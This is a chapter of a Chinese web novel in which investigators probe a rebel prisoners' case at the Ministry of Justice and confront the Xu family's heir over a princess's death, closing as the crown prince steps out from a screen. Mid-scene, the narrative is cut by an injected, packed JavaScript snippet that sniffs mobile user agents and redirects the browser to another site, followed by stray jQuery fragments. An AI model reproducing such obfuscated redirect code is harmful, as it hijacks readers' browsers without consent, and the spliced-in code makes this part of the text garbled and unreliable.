默认冷灰
24号文字
方正启体

86. 再访

作者:莫辞盈本书字数:K更新时间:
    一行人这才进了刑部大门。


    因着门口这点小小的耽搁,里头得了消息,洪茂已匆匆赶了出来。他正待拱手寒暄,却一眼看到了宗恂。


    短暂的发愣后,洪大人像被注入了某种滚烫的情绪,笑容的弧度骤然放大,透着一股燕风从未曾领略过的、近乎灼人的谄媚。


    “宗将军!稀客,稀客啊!什么风把您给吹到咱们这刑部来了?下官有失远迎,恕罪恕罪!将军风采更胜往昔,真是……”


    一串吉祥话如同开了闸的河水,眼看就要滔滔不绝。燕风忙上前一步,打断道:“停,停。洪大人,闲话稍后再叙。今日来,是有正事。”


    洪大人脸上笑容丝毫未减,连连点头:“是,是,正事要紧,正事要紧。宗将军,燕大人,快请里面叙话!”


    值房里,燕风开门见山:“洪大人,刑部大牢里,三皇子案中拘押的那些叛军,可否带我见见?”


    洪茂显然始料未及,他干笑两声,眼神却飘忽着:“燕大人说的,下官有些听不明白啊。”


    燕风盯着他:“怎么?人不在这刑部大牢?难道是关在我北镇抚司了?怕是我未老先衰,老眼昏花,自己竟不知道。”


    “燕大人哪里的话。”洪茂陪笑,“下官……想起来了。原先确是收押了一些,但后来细查,罪责轻的,该放的也就放了。剩下那几个罪大恶极的。唉,也不知是自觉无颜面对君父,还是惧怕严惩累及亲族,竟都在狱中自裁了。如今刑部大牢里,确然是一个相关的也没了。”


    “自裁?”


    燕风微愣:“自裁了几个?”


    “这个……好像……约莫有四五个吧。其实细想,这也算情理之中。朝廷待他们素来不薄,他们一时行差踏错,险些酿成泼天大祸,心中愧疚难当,更怕祸延家人,一时想不开,也是……自然的事。”他又开始那套四平八稳的说辞。


    燕风失了耐心,又一次打断:“此案主审,是刑部的哪位大人?”


    “这……”


    洪茂脸上的为难更重,支支吾吾:“此案干系重大,涉及皇子,审理过程……多有不便透露之处。主审之人嘛,自然是……”


    他“自然”了半天,也没自然出个名字来。


    就在这尴尬的当口,自进门后便静立一旁的宗恂忽然开了口。这是他今日踏入刑部后说的第一句话。


    “不是刑部的某位大人。是锦衣卫指挥使,李芳贤李大人吧。”


    洪茂肉眼可见地轻松了些,像是肩膀上卸下了个沉重的担子。


    “宗将军是如何得知的?此事知晓的人可不多。”


    宗恂笑了笑:“猜的。”


    锦衣卫指挥使李芳贤是个‘极好相与的好人’,这是朝中上下皆公认的事。


    但仔细想来,这评价多少有些浮于表面。毕竟坏脾气是失意者的铠甲,而顺风船上的人,自然无须这般硬刺。任谁坐到李大人如今的位置,大抵都能有个好脾气。更何况李大人相处久了,其实偶尔也能见出几分棱角。


    这个评价的由来,主要还是因为李大人虽然占着朝中按理说最令百官胆战的位置,却终日只是安心做一个钓鱼佬。


    而他之所以还能稳坐此位,倚仗有且仅有一个——皇帝。


    当年今上北狩,正是这位老好人,凭着一腔忠勇寸步不退护在御前。待皇帝重掌乾坤,这份患难之情,便化作了无人可撼的信重。若此案由他主审,背后之意,不言自明。


    燕风从值房里出来,朝宗恂苦笑了笑:“看来不必再查了。”


    宗恂赞同点头。


    燕风回头瞥了一眼——四下无人,洪茂已借口事忙离开。她低声叹道:“我忽然明白了一些事。陪我再走一处吧。”说罢举步便走。


    宗恂自然地握住她手腕:“杨胜他们还在前厅,不一同叫上?”


    “又是一件麻烦事。”燕风皱眉,“让他们吃刑部的饭吧,咱们悄悄走。”


    宗恂摇了摇头,脸上却露出了笑。真拿她没办法。


    将至衙门口,却见罗同已候在那儿。他见两人出来,淡淡道:“来时坐车,归路不知如何走了。”


    燕风道:“无妨,你随我们一趟。”


    她对一旁衙役交代:“本官有急事须处置,劳烦转告我几位属下,请他们自行回北镇抚司。”


    三人快步离开衙门,经过一条僻静窄巷。


    宗恂轻声问:“是谁?”


    燕风低低说了一个姓氏。


    原来他们昨夜商定,今日要借罗同读心之能,探出下属中暗藏的内鬼。


    早上刑部衙门口的那几个铜板的推让,便是燕风和罗同提前商量好的传递信息的暗号。


    罗同接过话:“其中尚有内情,一言难尽,今夜再细说。此刻是去哪?”


    燕风道:“徐府。我还想再见一次徐公子。”


    *


    徐府门前。


    应门的男人并非昨日那位徐诚管事,却仍认得他们。那人恭敬行礼道:“原是燕大人与宗将军,快请进。还请两位先至花厅稍候,小人这便去禀告大少爷。”


    宗恂:“有劳管事。”


    燕风微讶:“你认得?”


    宗恂道:“我的祖母是徐老太爷胞妹。幼时曾来过几回,难为管事还记得。”


    眼前这位徐管事是个沉稳的中年人。他嘴上说着惶恐,语气却不卑不亢:“宗将军折煞小人了。将军龙章凤姿,任谁见过一次都不会忘的,倒是将军竟还记得小人,小人实在受宠若惊。”


    燕风这才想起,昨日洪茂确曾提过,当今太后亦出自徐家。


    她问道:“管事如何称呼?昨日的徐诚管事怎的不见?”


    “小人徐忠。徐诚管事抱恙,故而今日告假休养。”


    燕风又问:“二位管事想必事务繁杂,应门这等小事,交由底下人便是。怎的我次次来,偏都遇上管事亲迎?”


    徐忠从容应道:“大人言重了。府中主子宽厚,待下人多有体恤,平日并不劳累。今日也是凑巧,正与守门的小子闲话几句,恰逢两位大人叩门。”


    他身侧果然跟着个年轻小厮,低眉顺眼,模样生嫩。


    燕风点了点头,不再多言。


    花厅内,徐维翰匆匆赶来,他仍拄着拐杖,脸色又比昨日苍白了许多。他边咳边道:“燕大人,宗将军,恕罪恕罪,今日晨起便觉身上不妥,有劳两位久候了。”


    “大公子快坐下,身子要紧。方才听管事提起,府上的徐诚管事也病了。近来天气转凉,确需仔细将养。”


    燕风起身,亲自引他落座,又道:“对了,记得大公子还有一位小妹?府中骤逢变故,令尊又远在外任,大公子为兄长,想必更要费心照拂妹妹才是。”


    徐维翰不知她为何突然提及小妹,只谨慎地点了点头,并未接话。


    燕风却似寻到了话头,饶有兴致继续说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485592|201982||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“说起来,令妹我竟有缘见过一面。与大公子年岁似乎相差不少,仍是孩童心性,平日想必颇为活泼,不好管教吧?”


    这话便有些逾矩了。


    徐维翰脸色不快,硬邦邦道:“燕大人恕罪。小妹虽年幼,终究是徐家闺阁女子。大人身为外男,如此议论恐有损小妹清誉,还请慎言。”


    燕风笑道:“大公子此言差矣。你怎不问问,我一介外男,是如何得见你徐家深闺之中、素来娇养的小姐的?”


    徐维翰抿紧了嘴唇,连握着拐杖的手指都微微发抖。


    燕风笑了两声:“大公子别紧张,不过一句玩笑。其实也非什么了不得的场合,便是年初那场赏梅宴,京中闺秀几乎尽数前往。燕某恰好负责彼时守卫,这才远远瞧见过令妹一面。”


    “大公子总该记得吧?就是那场宴上,五公主并一名侍女,不幸殒于虎口。在下为护七公主周全,也受了伤,将养了许久……”


    她语气渐渐沉了下去,目光始终不离徐维翰。


    徐维翰咽了口水,低低吐出一句:“……自然记得。”


    “我记得,那时大公子与五公主尚有婚约在身。令妹大约出于好奇,竟扮作叔母的丫鬟,混入了那宴。还因此惹了些小插曲。只是后来五公主骤然出事,那点小风波,也就无人再提了。再后来,五公主的案子移交刑部洪大人主理,至今……似乎也没个结果。”


    徐维翰脸色骤然一变:“燕大人此言何意?莫非是怀疑我家小妹?且不说小妹本性纯良,她今年方满十二岁,何来能耐做出此等骇人之事!”


    “大公子误会了,”燕风笑容未减,眼底却无甚温度。


    “我可从未这般说过。不过,案发之时,燕某恰在现场,故而比旁人多知道些东西。”


    “那个与五公主一同葬身虎口的婢女,名唤巧杏,我曾去查过她的底细。查起来可真费劲,绕了一大圈,才知她虽父母双亡,竟还有个年幼的妹妹。只是那孩子,却如人间蒸发一般,我怎么也寻不到。按理说却不该如此:姐姐是公主府上有头脸的侍女,妹妹又是唯一的血亲,纵使不能大富大贵,又何至于消失得无影无踪?”


    她微微倾身,注视着徐维翰苍白的脸:“后来,我忽然想起,徐家那位在赏梅宴上出了风头的小姐,年纪似乎正相仿。于是我抱着试试看的心思便查了查。没想到,在贵府小姐的院子里,我竟真找到了那孩子。”


    “如今,她还是令妹身边一名贴身的婢女呢。”


    短暂的沉默后,徐维翰脸上反倒显出一种奇异的沉静。


    “燕大人,请恕在下愚钝,实在不解您言下之意。姐妹二人各在京城府邸为婢,听来亦是常事。”


    “是很平常。”燕风目光灼灼,“但若涉及某位特定的婢女,事情便大大不同了。至于那位婢女具体做过何事,我相信,徐公子与我,心里都很清楚。”


    徐维翰的目光缓缓落向一旁沉默的宗恂。他的嘴角牵起一丝自嘲笑意,终是再未发一语。


    “徐公子,”燕风淡淡道:“不想再说些什么了?”


    “匹夫无罪,怀璧其罪。”


    徐维翰闭上了眼:“多言何益。”


    燕风眉梢微动,话至嘴边却忽地收住。她忽然转向花厅角落那面紫檀屏风。


    下一息,一人自屏风后踉跄步出。


    那个人双目通红,死死盯住燕风,却是传闻中那个懦弱怕事的当朝太子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)